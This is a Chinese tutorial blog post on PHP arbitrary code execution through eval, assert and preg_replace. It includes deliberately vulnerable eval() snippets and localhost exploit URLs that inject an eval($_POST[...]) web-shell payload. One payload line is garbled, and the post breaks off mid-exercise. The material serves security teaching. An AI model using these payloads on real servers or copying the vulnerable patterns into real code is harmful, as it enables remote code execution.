第十一天任意代码执行漏洞

PHP代码执行漏洞可以将代码注入到应用中,最终到webserver去执行。该漏洞主要存在于eval()、assert()、preg_replace()、call_user_func()、array_map()以及动态函数中。
在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用eval函数(PHP函数)去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。

代码执行 和 命令执行
代码执行 后端语言执行 php java .net nodejs
命令执行 调用系统接口
面试喜欢问
代码执行 执行后端语言代码 (java asp.net go nodejs php)

相关函数:
1.eval 本质上是一个语言构造器 不能被可变函数进行调用 接收php代码作为参数
2.assert 断言 参数需要一个拥有返回值的代码 函数 在5.6及以下版本 作为函数 在7.x 以上版本 作为语言构造器
3.preg_replace 1.pattern需要使用/e模式 2. 被替换的字符串能够匹配正则模型 3. 第二个参数直接或者间接可控 4. php 版本<=5.6

代码执行常见的函数

代码执行各函数之间的特点
代码执行如何修复
bypass disable fu nctiO ns ]
在这里插入图片描述
常见函数
代码执行漏洞
eval
assert
preg_replace
create_function
array_map
array_filter
call_user_func
call_user_func_array
usort
uasort

eval()函数

.eval和assert函数 eval()函数是将输入的字符串当做PHP代码执行,assert()会检查指定的 assertion
并在结果为 FALSE 时采取适当的行动。

在这里插入图片描述

可变函数

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

<?php

function sayName(){
   
    echo 'now this is bihuo class';
}
$a = 'sayName';
$a();

在这里插入图片描述
eval 本质不是一个函数 不能被可变函数调用 是一个语言构造器
在这里插入图片描述
在这里插入图片描述

assert 断言

作用:是如果它的条件返回错误,则终止程序执行。
危害:该函数也会将传入的字符串参数作为PHP代码执行。如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。
在这里插入图片描述
接收一个 拥有返回值的断言
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
assert 需要一个返回值的断言 7.4+ 此时 不再当作函数

preg_replace 正则表达式

此函数的作用是对一个字符串进行正则处理
preg_replace函数的代码执行需要存在/e参数

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
必须pattern中使用/e
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

eval 练习一

<?php
$data = $_GET['data'];
eval("\$ret=$data;");
echo $ret;

?>
http://www.localhost.com/roge/dome2.php?data=${eval($_POST[123])}

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

eval 练习 二

$data = $_GET['data'];
$code="\$ret=\"$data\";";
eval($code);
echo $ret;
http://www.localhost.com/roge/dome2.php?data=%22;eval($_POST[123]);%20//

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

http://www.localhost.com/roge/dome2.php?data=%22.eval($_POST\[123\]).%22

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

$data = $_GET['data'];
$code = "\$ret='$data';";
eval($code);
http://www.localhost.com/roge/dome2.php?data=${eval($_POST[123])}

在这里插入图片描述
在这里插入图片描述

${} 必须在" "包含的内容中才会解析

http://www.localhost.com/test/code_execution.php?data=%27;eval(KaTeX parse error: Expected 'EOF', got '&' at position 17: …POST[11111]);//&̲XDEBUG_SESSION_…_POST[11111]).%27&XDEBUG_SESSION_START=PHPSTORM
eval漏洞利用

eval 练习 三

  //关闭方法
$data = $_GET['data'];
$code= "
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值